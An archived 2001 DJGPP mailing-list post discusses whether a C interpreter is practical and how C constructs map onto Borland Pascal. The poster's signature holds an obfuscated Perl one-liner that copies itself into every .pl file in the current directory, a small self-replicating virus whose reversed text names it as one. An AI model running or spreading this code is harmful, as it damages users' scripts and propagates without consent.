Mail Archives: djgpp/2001/03/07/13:06:54
Alexei A. Frounze <dummy_addressee AT hotmail DOT com> schrieb Folgendes:
> "Kai Dietrich" <toepferei DOT dietrich AT t-online DOT de> wrote in message
> news:3A9D5EC9 DOT CE9D100C AT t-online DOT de...
> > Hi!
> >
> > Is there a QBasic like interpreter for the C (C++?) language written
> > with GCC aviable (with sourcecode)? If not, do you think it is possible
> > to write one (I'm thinking heavily about this and I already had some
> > ideas how to realize it)?
>
> 1st of all, due to a complex nature of C, it's interpretation is a real
> pain. And you don't have to start making a C interpretator in order to
> figure out this. Just try to make a Basic interpretator and then think of
> all those extra features which C has and how you would try to add them. It's
> kinda mission impossible, unless you're as genius as somebody who has
> already made a C compiler.
> If you don't like Basic, use Pascal instead. It's much much better than
> Basic and it's not that complicated as C. And there exist a number of Pascal
> interpreters. I saw a few ones and I can conclude that, as a matter of fact,
> Pascal interpretation is way easier than C interpretation.
I think you are right, but why? C can be transformed 1:1 into pascal
(well, Borland Pascal):
struct record
*(p + 7) PXType(Longint(p) + sizeof(p^) * 7)
static int x = a const x: integer = a
a = inp(0x03) a := port[$03]
outp(0x03, a) port[$83] := a
for(A;B;C) begin A; while B = 0 do begin ... C; end;
And implementing "every is function, and if it returns void" (ex: a =
(b = c)) is not too hard.
Of course not C++ (multiple inheritance!)
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -